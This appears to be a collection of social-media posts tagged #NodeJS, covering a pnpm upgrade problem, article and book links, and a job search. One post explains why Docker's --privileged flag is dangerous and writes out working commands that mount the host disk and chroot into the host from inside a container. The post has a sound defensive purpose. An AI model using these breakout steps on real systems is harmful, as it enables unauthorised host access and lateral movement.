Just gone to upgrade Zigbee2MQTT and discovered it's move to using pnpm.
All good, except pnpm only ships arm64 binaries and as far as I can tell the only way to build pnpm is with pnpm.
So I can't upgrade my install that is running (very happily) on a old Pi 2b as it's 32bit only.
Dies ist ein Demo-Tröt , der mit #nodejs und #OAuth getrötet wurde als Test für #Baustellenbot
Master Python https://leanpub.com/b/masterpython by Noah Gift and Alfredo Deza is the featured bundle of ebooks on the Leanpub homepage! https://leanpub.com #Python #Devops #SoftwareEngineering #AutomatedSoftwareTesting #NodeJs #Ruby #Go #R #CloudComputing #books #ebooks
Hardening Node.js Apps in Production: 8 Layers of Practical Security, by (not on Mastodon or Bluesky):
https://www.sitepoint.com/hardening-node-js-apps-in-production/
How to Build Node.js MCP Servers That Expose Data Resources to LLMs, by @snyk:
https://snyk.io/articles/how-to-build-node-js-mcp-servers-that-expose-data-resources-to-llms/
Message in a bottle time again #GetFediHired (not a peep from anyone yet).
Growing desperate in search for (remote) software developer work in the #Ottawa #Montreal areas. #C C# #Erlang #Java #NodeJS #Shell #SQL #BSD #Linux #English #French and more. Very versatile, adaptable, experienced.
Hey! If its remote, its possible to work world wide too!
#Development #Overviews
JavaScript’s runtime decade · Running JavaScript beyond the browser and Node.js https://ilo.im/165oqw
_____
#JavaScript #Devices #Cloud #Browser #NodeJS #Deno #Bun #WebDev #Frontend #Backend
A performance comparison of Node.js (Express) and Spring Boot using a real-world URL shortener, across single and clustered deployments. https://hackernoon.com/which-backend-is-better-for-speed-we-ran-1-million-tests-to-find-out #nodejs
I suppose an alternative would be to keep using #Ubuntu but use a #Docker container that matches #Lambda, but I generally try to avoid #containers unless the project requires them just for ergonomics sake (again, I'm rarely using anything that's not a #NodeJs dependency)
I mean, I'm never really compiling binaries, unless they are #NodeJs dependencies (some might be) so it's never *really* mattered, but the obsessive compulsive part of me just wants my dev environment to be as much like production as possible..
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!
ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.
Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?
Here's why (one, simple example):
Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference.
1) Start two containers.
docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu
2) Inspect /dev in the unprivileged container.
docker exec -it ubuntu-unprivileged bash
ls /dev
exit
You'll only see a limited set of devices. No disk access.
3) Now inspect /dev in the privileged container.
docker exec -it ubuntu-privileged bash
ls /dev
/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.
4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.
mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever
5) You can now enumerate - and access - the Docker host's logical volume.
ls -la /tmp/whatever
6) If you wish, you can even chroot into the host:
chroot /tmp/whatever /bin/bash
The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.
Usually the grumpy guy means well. He just doesn't know how to explain it properly.
Node.js Is Growing Up: 3 Major Releases That Changed the Game, by @hackernoon:
https://hackernoon.com/nodejs-is-growing-up-3-major-releases-that-changed-the-game